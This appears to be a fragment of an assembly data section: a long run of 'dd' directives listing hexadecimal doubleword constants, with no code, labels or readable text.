		dd 66CF1C54h, 206BB5EEh, 0AF3C710Fh, 3E1210E1h,	0E80D09A3h
		dd 8461DCD9h, 42111418h, 68122B8Ah, 0C02D2D8h, 94FC03CEh
		dd 0B1101CD4h, 0F72928Eh, 0D0AF24BCh, 27EFBC08h, 3AF1BC58h
		dd 19816575h, 5B389022h, 0B002EAB4h, 5CC93304h,	7E080FAFh
		dd 60158AC2h, 30011F56h, 3B410114h, 0F07C2184h,	79F7AAC3h
		dd 65B6291Bh, 0C8BF508Eh, 72C1950Fh, 3A19958Bh,	8F523A38h
		dd 0BF324BD1h, 0ABC3522Bh, 0A26733C2h, 7A5D8BA1h, 0EE8D4CC5h
		dd 0FED0226Bh, 6BE0EAEFh, 1882AFC1h, 1830040Dh,	24460688h
		dd 51C0B02Fh, 89C20BD8h, 740C1355h, 6AB2A016h, 59EA1EBAh
		dd 0F9F79906h, 270D285h, 462C06C6h, 5CC2C2EBh, 0E8AE560h
		dd 4008880Bh, 7800FD4Eh, 0F373F13Bh, 7512629Dh,	195D82B2h
		dd 8312B402h, 34E12363h, 0CF2BFD48h, 6210832h, 50F0418h
		dd 0CFADB806h, 2895BC5Fh, 784306C1h, 68907021h,	586460C8h
		dd 18C73224h, 0A42EC6F4h, 10C80637h, 40F420F0h,	0A125FCF8h
		dd 666E5450h, 0F02DFC11h, 0F0F66451h, 0FA87BFE8h, 0BCD0340Ch
		dd 8A06CB76h, 893D54F5h, 0D9A5F3F8h, 198421Ch, 95475A13h
		dd 89FEF86Ah, 7D63E959h, 4E596DF7h, 0A923E16Ch,	840B41C4h
		dd 647F44A6h, 32F41EF0h, 8D41B97h, 458864FCh, 29B4BB53h
		dd 9C10D96Ah, 0D2442EECh, 0C512B4F0h, 0DA44FB11h, 19B48CBFh
		dd 49539FBEh, 79316816h, 628EAE8h, 3D63188Dh, 31BF8AB7h
		dd 0A55D5544h, 4FC884ECh, 2FC79C3h, 11E062F8h, 681C2E27h
		dd 8C9C0CEFh, 2FEB5B06h, 8EDB84BEh, 38104D66h, 3344C47h
		dd 0F632711Bh, 1A510D8Fh, 0F242606Ah, 1B308AB5h, 8CAB84DBh
		dd 7083142Dh, 8DFD5A66h, 6C49AD8Ch, 85FDE083h, 69867A38h
		dd 65D03980h, 0B17E6851h, 93B15832h, 0E29A63Eh,	3F532475h
		dd 4C25FE94h, 9BA67818h, 81CB7FE1h, 8394E510h, 4134EB14h
		dd 0BC2F412Ch, 466DE6C8h, 519821C8h, 29200CAFh,	2716016Ah
		dd 0DC0E9367h, 0D82B1467h, 0B6EC774Ch, 1DDB4964h, 0A00056A5h
		dd 0BFBA90CEh, 1210B86Dh, 5FEB8ADFh, 85E034E6h,	3843FA9Fh
		dd 0E902708Dh, 896DACE8h, 0F5570F50h, 7C381448h, 74F70E1Fh
		dd 0BAF36832h, 92D72221h, 12B7633Fh, 0C94928E5h, 5627FE43h
		dd 308D2011h, 590B01D0h, 0F7751E38h, 9815A902h,	77B81A7Fh
		dd 25C1E30h, 4B719084h,	0B56FAC35h, 0B8ACC82h, 6105932h
		dd 604B1D8Bh, 97D3648Ch, 0C389BC45h, 610C548Eh,	91565EACh
		dd 0DA44B51Dh, 4E757F89h, 4ED2B6BEh, 0EFF8C325h, 23D1A34Eh
		dd 0DC7D0BD8h, 0A8450ACEh, 3ABAE16Eh, 0B23AD999h, 4EAC2F5Bh
		dd 4E179817h, 272CC428h, 0F94BC824h, 8E64A529h,	4A98D34Dh
		dd 4C7B68E3h, 669DA6D6h, 0C70C3E2Eh, 44BDB080h,	4FA3DBAh
		dd 0A364241Ah, 88C2219h, 0AF0F5157h, 8888AAFBh,	8271A809h
		dd 27FBD6ADh, 0C48CDC60h, 76A5404Eh, 2F35A294h,	25892877h
		dd 0A642B707h, 57450A2h, 0D98541h, 0AA4C358Bh, 51DBFC66h
		dd 0D7F13BA3h, 20ED21A0h, 59768DA0h, 7BC34E26h,	0FFEFE2A5h
		dd 30680721h, 0FED66F75h, 69B4A47Bh, 95E1EF2Ch,	3D0F8928h
		dd 9D37FA02h, 9CB8FB0Bh, 549FF77Ch, 0C655D210h,	34851070h
		dd 0BD801404h, 0F6C35E1Dh, 331B0F21h, 7D0C8AC0h, 21C83C1Fh
		dd 8857AB11h, 454AFC10h, 0FDFD1450h, 0BC775312h, 317BF925h
		dd 94F90C43h, 9325530Fh, 0AB6B2A47h, 0F1DA1C0Ah, 0F319347Bh
		dd 91ED15B3h, 34299F60h, 59302632h, 0E94A3B28h,	0B7972252h
		dd 46AB3DE0h, 84F1F9BDh, 0C1563174h, 3240E80Ah,	44C76F5h
		dd 93233D77h, 0E498C97h, 81AE761Ah, 61C28056h, 2581FE88h
		dd 4C1FE847h, 0F8143B21h, 0A6BCDD72h, 0FE182510h, 4508674h
		dd 0C4F7BE8Ch, 0D92AEF18h, 8FEA1823h, 6811240Bh, 9522EB81h
		dd 589FA266h, 562D645Bh, 0AAD8620h, 0A623E9E7h,	3A199430h
		dd 0B73F4758h, 5E182594h, 6AC9C819h, 943D24B4h,	0E8CE65C9h
		dd 1EA8D42Bh, 76A420Dh,	0D5445D9Ah, 2353E420h, 9C108BEEh
		dd 52E01D64h, 0D62DD21Fh, 24DBA456h, 88A81334h,	0D49F7587h
		dd 6ECC185Fh, 50811120h, 10A1492Ah, 1B1CCA26h, 6DA18D71h
		dd 88E15D51h, 2F6780Fh,	43324468h, 8B1CE8A2h, 0CAB74D71h
		dd 4ED2BBCDh, 1D534E68h, 352829ECh, 27042DDCh, 0F4282FEDh
		dd 0D0D12518h, 0F4CEE464h
		dd 0D80AE834h, 549B5396h, 503D8302h, 29740B6h, 0A143187Eh
		dd 70FF1154h, 17E80413h, 1FFF9A94h, 67561332h, 5A667B85h
		dd 58392088h, 19740812h, 35E42BF8h, 18B7E035h, 0F4A855D7h
		dd 0F241C23Bh, 2C62002h, 1E6C0D75h, 0E9A2C083h,	1C7C3446h
		dd 0A6186880h, 234A5DD2h, 2A125329h, 42B1832Ah,	18630D1Ch
		dd 4B1BE792h, 0B53F0B80h, 0E81AC7BDh, 0FAC3559Ah, 7F6A0B06h
		dd 0EABD8468h, 1347B2C4h, 44341D89h, 0BCCEE84Ch, 40A118CFh
		dd 183F6A2Bh, 22AA44BFh, 19D79468h, 1C4073F8h, 2E108BB2h
		dd 988B84BEh, 0A8A0E799h, 48644625h, 0B1571878h, 38A602BFh
		dd 893B1611h, 98C1024Eh, 76595FEh, 77EB8D8Ch, 6857F72Ch
		dd 0C8DE45D8h, 258F813h, 0BE84856Bh, 1700E98Dh,	4FF0374h
		dd 0B868FC4Dh, 4B678B0Bh, 637D3C0Eh, 6CA77C06h,	9552580Ch
		dd 2B2DB084h, 42B94074h, 0B39C1BE8h, 410AE8Dh, 0F7C4A9D1h
		dd 0E82422A1h, 9255E96Ah, 1D381B14h, 0A2362FA0h, 0FB991949h
		dd 0A1CF110Bh, 0B0104423h, 0CA1B8E1h, 0AB4686B4h, 0F4257F48h
		dd 5E94323h, 54E88909h,	9DA04E85h, 1012AB73h, 901661B3h
		dd 21CEF701h, 4A709159h, 6011A3EDh, 8DA29601h, 6D890684h
		dd 0C977F22Fh, 6D66FFF2h, 266A9AA2h, 0F445BADCh, 0C424B816h
		dd 0D4B44AEEh, 88CB0D3Bh, 0FF21C21Bh, 0AD562835h, 0FA684E0Ch
		dd 779C7846h, 0FAF864F7h, 0C16AA8CCh, 0E0051B6Ah, 44A502Ch
		dd 22A0EB1Ah, 78EDD528h, 0A028F014h, 97B08910h,	0F09367F1h
		dd 75A838AAh, 8A961C7Ch, 875270C5h, 0A22FAE3Dh,	39A34760h
		dd 43323168h, 25A6E598h, 0BCFD2794h, 0F346F24h,	12B5E9h
		dd 4E5D8309h, 0A63E70E2h, 1AA7828Bh, 0EA785F5Eh, 8337E964h
		dd 977B54BAh, 0F10DBB12h, 8152F294h, 55FED428h,	3FE8CC1Eh
		dd 589F49ADh, 0C212813Ch, 0EB928104h, 0FFC83BF6h, 0C501E11Ah
		dd 5DD96E8Fh, 5D93053Fh, 4DCCEEF8h, 18882F59h, 4912BD64h
		dd 0F209F675h, 1560902Ch, 0A907A368h, 0E32E329Ch, 5F8B13FEh
		dd 149C62EBh, 0AFE3B264h, 76006176h, 0E6920128h, 8935696Eh
		dd 0EB5F983Ah, 0C57EBC86h, 0D5619860h, 5912609Ch, 0FF9294F2h
		dd 971BB23Ch, 59B57494h, 9E76C9C8h, 4930D7CBh, 7D8BE5F0h
		dd 0E9875A8Bh, 0D3E5C954h, 0E586BCEh, 0FF2DCD6Bh, 4C1DE628h
		dd 0CC7DB958h, 4E343BFDh, 7E2944ABh, 174DC4B5h,	6A0B191Fh
		dd 0BF892B24h, 8B7D52A7h, 7B3BFDDBh, 9E202C27h,	2437FEC6h
		dd 626D4DE8h, 0A255482Ch, 470D7E50h, 0BDEB80C4h, 74FDFE83h
		dd 0DD0A296Eh, 83541C50h, 9AFAA44Fh, 4C7277Bh, 0E0064EEBh
		dd 43E9997Ch, 40C48125h, 11A836E1h, 4E587827h, 8495AD2Eh
		dd 494427D4h, 4EBE108Eh, 815578B2h, 0A19A55E6h,	86C7DF07h
		dd 34A4D58h, 0E6F0C4C8h, 1B5C6B9Dh, 0BD0CEDEAh,	0E8882818h
		dd 97864C12h, 68C45C99h, 0E3188AA0h, 0F79E5109h, 6A5DB819h
		dd 0F7F4570Bh, 0DE2C2E98h, 0E79E6E91h, 0E4E5260h, 0A65D5625h
		dd 8457263Eh, 0C681210h, 15A02267h, 0AB821B5Ah,	92502419h
		dd 3622DC11h, 170A76FEh, 0CA50AFBEh, 0E8329811h, 0F39D5B4Bh
		dd 89341666h, 472513F2h, 386FA3F8h, 0BD84C527h,	87590F49h
		dd 7C402070h, 0A2B58BEAh, 8929880Eh, 390D6B11h,	911D709Dh
		dd 0E64A5F18h, 0F6A0107Bh, 30324ECFh, 5A1F6AC2h, 958C8D14h
		dd 18B1233h, 26041DF8h,	872D3880h, 2584396h, 0BE0F1FA8h
		dd 89017001h, 3584C619h, 57AA3147h, 4F970E49h, 2067858h
		dd 0CA79284Ah, 0FC47648Ah, 7E57F113h, 0E4198F16h, 6080E16h
		dd 0F82C2791h, 0A3E8007h, 9FC435B5h, 99F40192h,	0D51732BAh
		dd 17B58346h, 5261FFDCh, 25A120E8h, 13AE2C0Ch, 6EBF91F4h
		dd 7F20089Ch, 15044956h, 0BF885050h, 44329F53h,	0C6C191B5h
		dd 684F7A82h, 187D66F8h, 825C8FA8h, 0AD28DF84h,	5DB84B77h
		dd 975C75Eh, 0E86830B0h, 6E4521A6h, 65E90A34h, 588B37A4h
		dd 0F394AE40h, 46FA4240h, 5A105487h, 842A7783h,	4AC8E542h
		dd 298DE466h, 8215D0E8h, 78682A75h, 3B86A0A8h, 6A2DE844h
		dd 9B7FB89h, 0A25C404Dh, 24AC2149h, 0BA4C55E8h,	39EB320Ch
		dd 9511E076h, 532F170Ah, 2824D869h, 0E172EEE8h,	0D4F50847h
		dd 5BC5A971h, 8B091C08h, 4AC2E9C7h, 0C9F9436Fh,	0D19A2C85h
		dd 9255B702h, 0C941B24Dh, 5458416Fh, 5C44C80Ah,	3240191h
		dd 2E8D1471h, 0E4D97514h, 7F84CCA2h, 0A30F7316h, 542185C4h
		dd 51402C45h, 48741E38h, 9FF19376h, 48F66B9Bh, 742B7822h
		dd 9E29E15Ch, 9986D242h, 1248446Fh, 0A61E4B88h,	98681BBCh
		dd 704076C7h, 23A7E182h, 0BD5BB7DCh, 0D37131C4h, 1B5D5AF2h
		dd 97DFD3F0h, 0A988B1E4h, 8FA22C4Dh, 120E4A77h,	6F0B9067h
		dd 25A7AD86h, 28DBA4D7h, 1889C491h, 0A8CCC622h,	0A024E995h
		dd 80449350h, 32B83D22h, 8B810127h, 0DF919F28h,	42E04028h
		dd 24434C08h, 12582F2Ch, 3A528E86h, 216A1613h, 0D69D9082h
		dd 7424E1D4h, 5AC0B023h, 65C6027Eh, 22474006h, 829088A8h
		dd 0DAF25724h, 513933F3h, 4D5F587Ch, 0AC750816h, 742CD302h
		dd 1BB1AA25h, 38E2B751h, 0F686A18h, 5442CB8Dh, 974B469Ah
		dd 8BC17676h, 0DC70207Dh, 741F1538h, 0AED98F13h, 74344C83h
		dd 81460E0Ah, 0AC2C5CC7h, 0DD7C0201h, 9D4ECEEBh, 8615121h
		dd 0D7FEB774h, 0BB2D3F13h, 33B0748Bh, 93BD0315h, 77A17EDBh
		dd 0C140749Eh, 3307E632h, 0AF78903h, 0EAA01497h, 10810E2Dh
		dd 84FCC43Ch, 0E88534B9h, 0CCBE59B5h, 15996BDAh, 18A7090h
		dd 84115182h, 42676422h, 6184F004h, 0AF4A2775h,	34FF1216h
		dd 0D5AE04E2h, 1E537284h, 8588DE59h, 4E046C68h,	8A8A84B3h
		dd 343F8E36h, 0C2D47C48h, 0B19BE810h, 0CD240955h, 0AE01E0C7h
		dd 3868301Dh, 56DFE96Fh, 2015B8B1h, 1C880BC3h, 505B5E06h
		dd 2284FD28h, 41264366h, 97703C80h, 740CD0DDh, 3F1161DDh
		dd 99F7F85Fh, 262C93EAh, 8B252743h, 36400A11h, 0C6E90A7Fh
		dd 0BEC134FDh, 1E2265FCh, 0D910A29h, 819F4BFh, 1CA438D0h
		dd 83F3E280h, 6226538Eh, 1465F011h, 0A1D683DDh,	0D76954BBh
		dd 6911582Dh, 2619A1AFh, 0B0BB9E32h, 56638422h,	9C651601h
		dd 4D1672A5h, 78459866h, 0F724B5CFh, 42147A3h, 10C8AE24h
		dd 2F024BBh, 0BC8D0202h, 12745135h, 0A837F107h,	3EA1F8FBh
		dd 2D804B5Dh, 0B4D248EEh, 429BA635h, 624221E0h,	4429029Bh
		dd 65DECF91h, 5A402795h, 8AF1BDBFh, 27F7BC88h, 7EF92882h
		dd 0D2B119A9h, 0E51448A8h, 947C458Ch, 8492849Eh, 4546F940h
		dd 0A02C120Ch, 0C252FAF7h, 448C5A20h, 97F4E8F8h, 2A9213BFh
		dd 4027483Ch, 9F34CF8h,	6A251E14h, 42A0BD28h, 0C3843265h
		dd 6A129053h, 391EC912h, 44460A76h, 2F09E76Eh, 684140E9h
		dd 2768A520h, 9CF6B9BCh, 1F458D71h, 8FCDEABh, 93F2984h
		dd 631E7DE9h, 12824223h, 2A99FB75h, 1A740342h, 4859107Fh
		dd 54408364h, 0C948E811h, 7F05A2DAh, 590C9769h,	667D59D6h
		dd 556664EAh, 63A5E45Fh, 4A3A3674h, 1A31A718h, 26FAD4C7h
		dd 654EBB24h, 97A78DD4h, 4BE30A26h, 0DF3CE55Eh,	23890491h
		dd 6EB12BFh, 32EEC73Dh,	0C253C45Fh, 94685771h, 9321AF44h
		dd 0ED0A4481h, 7F8D2878h, 2339801Dh, 0EAA166CBh, 69025DAAh
		dd 3806C330h, 505616F6h, 65C70B51h, 55BAEEB0h, 147868D3h
		dd 1065425Ch, 83E17D2Dh, 925028DAh, 8B850071h, 4472E5A9h
		dd 0E4588501h, 0BF38E9F5h
		dd 54ED4149h, 850D8648h, 868A9CA0h, 1873504Ah, 0E61F751Ah
		dd 3880193Fh, 15661E23h, 3C322BACh, 6ADDE969h, 6C57D96h
		dd 2B509D09h, 1F85579Ch, 27986D22h, 29B74872h, 8E0B9F64h
		dd 60C3547Ch, 0B7E946F6h, 0E1B61E4Ch, 8C1164DCh, 33100A80h
		dd 1788E501h, 0E8130B6Ah, 0B15D795Bh, 9B14DF87h, 4DF65AADh
		dd 387C3413h, 814291B1h, 9443CEB8h, 0A85368E5h,	0DA26B4A6h
		dd 1371AA7Bh, 8768F01h,	59E28534h, 762D3FB4h, 86605982h
		dd 315CE9B3h, 413DA536h, 4BFEE2E9h, 18681485h, 8C362226h
		dd 63D02211h, 13A2545h,	1488D7Ah, 53AC08Ah, 89F1A2B5h
		dd 0AE17410Fh, 903FC648h, 47C862CBh, 1EE37D89h,	84387FDAh
		dd 91504125h, 0E815C430h, 10C8152Ah, 750B62ABh,	21D5B41Ah
		dd 0E6427F08h, 305D234Fh, 58DD1222h, 1D270F33h,	8EFC4B7Ah
		dd 9827F29Dh, 94284B55h, 7A3FA25Fh, 7ED5E816h, 81154471h
		dd 0FD5930A7h, 2C3D3B0Ah, 75DF7C09h, 0B6D004CAh, 5D6283BCh
		dd 0B2B45980h, 0ACA202FAh, 0BA910D8Ah, 3181E669h, 49024888h
		dd 312870Fh, 0B79D8F8Dh, 4B932E3Ch, 0C15143h, 89871293h
		dd 0E5E8F770h, 0BC9C0F10h, 7C8D2840h, 81AC5535h, 9D69778h
		dd 0A9116324h, 99853B31h, 0CBDFA8E2h, 0B27D7FECh, 75615DBFh
		dd 0AC08A11Fh, 4820908h, 0FF44501h, 5877CB55h, 2DE8F240h
		dd 0A2307FC8h, 3AA55044h, 7CBFA689h, 2FEB4386h,	2B52707Eh
		dd 26A1718h, 0E88396BCh, 0C9619297h, 0EE5D8812h, 8673314Eh
		dd 4D3B187Fh, 4EF1210h,	28A53610h, 3901B8Fh, 0B22FA482h
		dd 0F88B14D1h, 18B8E2ADh, 908D7984h, 8B19B03Fh,	1459BC07h
		dd 16E25F13h, 90B0C19h,	89C7B27Fh, 25D7EC8Fh, 1A98848Dh
		dd 0F248A38h, 0A6B453Ah, 2816D9C7h, 2CE03B32h, 5ABF187Eh
		dd 63B411DBh, 0BECE1343h, 0A9AC5D38h, 0CC15BC12h, 0A454680Ch
		dd 5389AB11h, 81F496C6h, 5A066898h, 8F229843h, 7E058783h
		dd 90681C75h, 8A7E1148h, 210B88BFh, 0E97C1FA6h,	0E4E98EC3h
		dd 1111291Ch, 18AB506Bh, 514C890h, 0A0CF046Ah, 0A59156E8h
		dd 846809F8h, 90A40918h, 8042D5B6h, 301481BDh, 948097Ch
		dd 167E0A39h, 6428036Ah, 911D3180h, 2143642Bh, 737DAD48h
		dd 127E1511h, 0BF9C8811h, 99B88A4h, 5C0411EBh, 606A0478h
		dd 800113FDh, 558820C2h, 432349ECh, 4C14EDB4h, 82948007h
		dd 560C6A10h, 787550E0h, 0A6A050B1h, 0B8A064Bh,	0AFA20A5Fh
		dd 0EB542D96h, 905886CAh, 0D81882BDh, 949F7D93h, 3B146B9Dh
		dd 0EE470BF5h, 211F83A3h, 10217378h, 649F942Fh,	0A8BF295Fh
		dd 557B29Fh, 8973BCACh,	0A49D5120h, 1180827h, 693C70A7h
		dd 29572F95h, 3A4D0AA0h, 40B17D9Dh, 21418D84h, 0E922E47Ch
		dd 0CB3B0882h, 0F5BFDB40h, 0C11F8B92h, 0F8648903h, 7416DC26h
		dd 7B4BF471h, 0C2DC3D0Ah, 36156C21h, 64C7C815h,	16212260h
		dd 58219043h, 98B70C10h, 0F7214C64h, 0C8100A7Ah, 4444884Ah
		dd 86B32CE2h, 0CD213842h, 30328F64h, 790BB811h,	21244286h
		dd 496862A3h, 8E081C11h, 0C8539085h, 2C79440Ch,	442863Eh
		dd 29646421h, 1262F031h, 0F321164Fh, 88E01047h,	0CDE593Ah
		dd 254784CCh, 7E29E651h, 68116A81h, 0FE33BAC4h,	99E90BC5h
		dd 42A02948h, 111579FCh, 44908806h, 11803270h, 3C80AD3h
		dd 472274C4h, 0AA086C19h, 4A856985h, 54290860h,	40321E44h
		dd 0C90A8111h, 29500810h, 0F5842010h, 11142246h, 0AC20A58h
		dd 0FC100868h, 0CCC8961h, 2F12F7ECh, 1B0B9215h,	0D4AA3324h
		dd 32A32984h, 0A0611C4h, 0B2880FCBh, 88AC1029h,	219C647Ah
		dd 890A78DDh, 291A080Eh, 51888410h, 0B4227464h,	67049215h
		dd 10296A1Fh, 4454C828h, 0F5B1748Bh, 11481512h,	0EB100B76h
		dd 4E388845h, 19C1B290h, 854C082Ch, 20C8AC90h, 7D7C3745h
		dd 44687B17h, 54840861h, 44F829ABh, 64850E60h, 335AC619h
		dd 0B1526A3h, 212982E9h, 77E508D4h, 59084C54h, 84BC2940h
		dd 0B0215943h, 90D0BC11h, 0A8940321h, 62A72115h, 9C1144EEh
		dd 90859208h, 4494C8B8h, 86A32C7Dh, 85768842h, 80C86C90h
		dd 572C5344h, 21704286h, 0E8F9673Eh, 29226444h,	21E44316h
		dd 0B2141058h, 8501991h, 887642FFh, 2248647Ch, 304316EAh
		dd 0D5104021h, 34191BB2h, 7538FE09h, 5A97F641h,	0B8CF91BCh
		dd 3B2FBF04h, 5FCC9D05h, 41D9D1EDh, 687280E8h, 33EEA45Ah
		dd 56CC7405h, 4B22DE81h, 0E982142Ch, 25F2F5D4h,	575FBC22h
		dd 0D610676Eh, 15B08A41h, 0C1C8423Fh, 4422A464h, 21894316h
		dd 0B22F109Ch, 8941974h, 7088851Ah, 228C4440h, 5B431605h
		dd 0F0087C21h, 0C2A5175h, 0DB428470h, 646415C8h, 0F416C622h
		dd 5C42843Fh, 506FB121h, 9C4450C8h, 4286712Ch, 64872148h
		dd 113C325Ch, 0D210B72h, 5D883490h, 843EF858h, 48212842h
		dd 113DC162h, 85330820h, 14C8AC90h, 6D2C1E44h, 210C4286h
		dd 37586409h, 74F44208h, 3CBC2114h, 905EF808h, 19A7B2DFh
		dd 85CA08E8h, 0E0C87590h, 602CB544h, 21D04286h,	323264A0h
		dd 0B8B11C8h, 0BC901D21h, 0C1587688h, 0B042843Bh, 0AC646121h
		dd 4C11A032h, 8B99331Dh, 5E918407h, 10B1884Eh, 808A41C0h
		dd 0A2231029h, 8EC97F76h, 4CD52B1Ah, 245ED108h,	48A27080h
		dd 0D8144B84h, 47268DECh, 6888BA01h, 0F3ECA75Eh, 0DA260F8h
		dd 6F6FE641h, 0C1220B8Dh, 41A461E2h, 0E612E824h, 872C5280h
		dd 882EB110h, 739C4220h, 0A621C594h, 8A18103Ah,	91E41587h
		dd 72110832h, 8851210Bh, 42BA5DFCh, 0EC643CC8h,	21164822h
		dd 0E01039F7h, 0E2593388h, 4284D00Ch, 6493C81Eh, 160922C4h
		dd 0B4217E43h, 5072F408h, 428437CFh, 64DF21A4h,	119432BAh
		dd 6D100BCAh, 10E19D36h, 1958B2B5h, 85A00870h, 4E334488h
		dd 598B8830h, 2CAC142Fh, 0D18B7023h, 0AD19FFECh, 6526425Ch
		dd 0E132F616h, 541784C2h, 47164E22h, 104821D1h,	399AB237h
		dd 85200840h, 34C88391h, 562C0944h, 102C428Eh, 3FA271F2h
		dd 0DB082439h, 31F48885h, 0C4221CC4h, 21DD4716h, 0B2AD100Ch
		dd 22843B16h, 0FF231696h, 5CF40830h, 3DB27F90h,	0DA09EC39h
		dd 21264716h, 0B15110DCh, 0D0182FC4h, 0C83A4284h, 22C4E4ADh
		dd 81471623h, 0C10BC21h, 0B0396AB2h, 7042F508h,	0A8E42988h
		dd 4716DE22h, 10982112h, 2ED6B1C7h, 42849018h, 0E4BFC8B0h
		dd 16992288h, 80214947h, 32B28210h, 6B086C39h, 2DEF8885h
		dd 542264C4h, 21D84716h, 0B23D1054h, 8483966h, 4F918526h
		dd 0F04F3CC8h, 343901B2h, 6F42F808h, 672CEA84h,	2CE14478h
		dd 212B46F3h, 0B2CA1024h, 81439DCh, 0AA9185B3h,	9C440CC8h
		dd 0E18E932Ch, 88858508h, 0F8C22A90h, 2C6E245Bh, 0EC428E79h
		dd 0EE625721h, 40421E29h, 0E4E4D7C8h, 6C59C827h, 4284DC1Ch
		dd 0E455C812h, 6EFB21CCh, 28B9110Ah, 0E444C488h, 428EA22Ch
		dd 4ECD21BCh, 88013585h, 15A3B8D3h, 84EF2DACh, 62186A07h
		dd 0B7546793h, 1DC60A65h, 50E91041h, 0A4C74B10h, 0AF25D939h
		dd 0FC102C5Ch, 1C12719Dh, 32F808FDh, 2016F33Bh,	0BE1C7520h
		dd 0E6C35B14h, 77EC4BD7h, 75095643h, 72448B06h,	982596B8h
		dd 84B4D3FCh, 0F96F9EE8h, 0EC1BD303h, 192213C9h, 0C8C1A26Ah
		dd 64CE0918h, 273E7953h, 21C14EFDh, 0D088FC94h,	0FD18D024h
		dd 5AF0C28Dh, 3401A922h, 89FD2421h, 8D440F8Ch, 47BB5A44h
		dd 7765746Dh, 0FE44532Bh
		dd 6FBC6648h, 860B7EC6h, 6622A042h, 0A80C690h, 4C930F46h
		dd 213A5814h, 8E6E6481h, 156C294Ch, 2249748Ch, 5B1C44E4h
		dd 71381485h, 6594AC8h,	0E8101A0Ch, 8E265D7h, 22C2F511h
		dd 0D52259C8h, 2450C0Eh, 0A2916648h, 0BF168494h, 57249155h
		dd 6B2A5A8Bh, 0EAE8C190h, 1278276Ch, 9633C70Ch,	0EB9B2D01h
		dd 26F8BDC1h, 51C657A5h, 0CAE52B4h, 6CB4211Ch, 100E9C59h
		dd 60B16DF0h, 0F16B0859h, 231A200Eh, 98886320h,	21FBF8FCh
		dd 0FC98088Dh, 9D284256h, 735A5950h, 0BF6E0C74h, 0E4E9C2A0h
		dd 0E2BD450Dh, 854C0DCFh, 21590422h, 93466BFCh,	984697ADh
		dd 10127432h, 2F821248h, 662558B8h, 5E5D1A09h, 9C508A9h
		dd 0C6A68B1Dh, 0A3085DC2h, 0E1204583h, 443B500Eh, 596D6563h
		dd 56D2081Eh, 11011180h, 5BCD6BA5h, 7248AD72h, 6658BF45h
		dd 0F940CC2Fh, 0D0F349F0h, 0D1676409h, 0B3E9BE4Eh, 5B715CC2h
		dd 0E1884866h, 923C97Ah, 7C8A122Fh, 8201E210h, 0A04E2C2h
		dd 4033CCD8h, 0B13912F7h, 6740076Ch, 0C897EB04h, 21443830h
		dd 2D840A28h, 364BE905h, 238C3611h, 0C46F0623h,	303261E9h
		dd 0F8EB3687h, 0B33101D1h, 11281B12h, 72290AD0h, 383A02D5h
		dd 2555049Dh, 5BA108DFh, 0EB5216FBh, 69B1A60Bh,	14C8DC1Dh
		dd 79A8EB43h, 18046642h, 0A0881E9h, 91D8EC53h, 384C9F45h
		dd 0F488EC85h, 22F69C57h, 0EC0AC050h, 0DC1F6B8Ah, 8A6A4D45h
		dd 2B813534h, 0C34E39E8h, 9D464D46h, 7754478Ch,	443B064Ch
		dd 8B461493h, 7413AD48h, 18C8AC05h, 22D04EBh, 464229E8h
		dd 65DD509Ch, 0E9240884h, 235407E5h, 7C54B2Ah, 8752D2C4h
		dd 54600AFFh, 2D561F07h, 0E8418156h, 757F69B7h,	2E19225Bh
		dd 229D429Ch, 0BC4D8F4Bh, 1C0CEB71h, 2874E922h,	5C4B2068h
		dd 56266E05h, 0AD4C71C0h, 2532D841h, 0D7310755h, 69521156h
		dd 2232110Ah, 3B2117D0h, 74521B64h, 8B9B8D9Eh, 46E37E24h
		dd 29CC5053h, 0B3898512h, 81E94C21h, 14DEFB17h,	0B8219C47h
		dd 2FB2E410h, 0CD08B039h, 0C8189185h, 2CB644A4h, 21204693h
		dd 0B29F109Ch, 890397Ch, 0FF888588h, 2288C41Fh,	1CF71671h
		dd 5A42847Ch, 74E49AC8h, 83593827h, 2C11C61Dh, 9001230Bh
		dd 5815885Ch, 428C1EEAh, 67FE1050h, 483951A2h, 9185E708h
		dd 443CC83Ah, 46B52CD0h, 1030211Dh, 399EB2B9h, 85A20824h
		dd 1CC86191h, 4A2C8B44h, 7408E58Eh, 1CD38885h, 5D2208C4h
		dd 11BC4716h, 462155FCh, 311BD662h, 852F08F4h, 0E8C8BF91h
		dd 0D2C1844h, 21E0428Eh, 1AF66201h, 0EA08D031h,	62846642h
		dd 44C86719h, 8E4B2CD3h, 0BC21B442h, 31189B62h,	85A508ACh
		dd 9C21C7B8h, 61B18E10h, 84941817h, 4AC87742h, 602288E4h
		dd 16E22316h, 49888010h, 741CCB59h, 0C4324284h,	6C6215BAh
		dd 220B1B11h, 47209AA3h, 23082078h, 6014E05Eh, 65F21029h
		dd 6D1490A1h, 21179062h, 727964DBh, 0BC4114Ch, 88135111h
		dd 2CAD4444h, 3C428E3Ah, 23649621h, 7F112C72h, 120E110Bh
		dd 0D04E2888h, 1811F7B1h, 51428414h, 6710A3C4h,	2C3A4478h
		dd 0FC228E8Ch, 0CE234254h, 0EC88717Ch, 0E62D0C44h, 0F508DC39h
		dd 5C846442h, 11D4620Eh, 45230BDEh, 0C788C490h,	310DB25Bh
		dd 85B008B8h, 0A8C84291h, 192C9944h, 9C210C46h,	2B28210h
		dd 7C91992Ah, 0C50818C8h, 890C5DEh, 8A5B5929h, 8B9DB08h
		dd 0D73942E9h, 946D2317h, 2B212E80h, 31073762h,	14174274h
		dd 21204716h, 63FD0870h, 601C0951h, 0C4E64284h,	546205CCh
		dd 230BCF11h, 885090B5h, 1C9E59B8h, 0A1428440h,	6203C5C4h
		dd 0B8A113Ch, 3090AE23h, 7F527388h, 0E88D0C91h,	5497F584h
		dd 0F664596h, 0A3052024h, 8080964h, 79D5D742h, 323432E1h
		dd 1E881819h, 2344E970h, 7C7A684Bh, 9FC15B90h, 803574FFh
		dd 0BFA4A430h, 0E12CE690h, 150320A1h, 1E64D0B8h, 4012FEDCh
		dd 42B2CEBBh, 3BD4E6Bh,	0C447BC93h, 36FAF88Bh, 0F0F6F349h
		dd 7CC7662Fh, 0F024742h, 9A574769h, 0FD09772Eh,	3EF4655Dh
		dd 341932B4h, 749A7464h, 1599100Eh, 50BD8F2h, 0FEA45379h
		dd 0FA5E4A6Dh, 5912AB34h, 382F8AAAh, 91012DBFh,	0E03B3016h
		dd 15A157A7h, 0FC7A16Ch, 8AF05315h, 1D684859h, 2D47A411h
		dd 347DE59Dh, 138186BEh, 8B539868h, 5DF31259h, 0F8C560EBh
		dd 9D9F1C75h, 368D0895h, 0DA8B1443h, 2233B02Ch,	23C8B7BBh
		dd 3426E9C6h, 88C294DCh, 61C52253h, 1BB2314h, 21177C14h
		dd 49A464AEh, 5685298Bh, 0DBF78A5Ch, 2270443Ah,	69E8148Bh
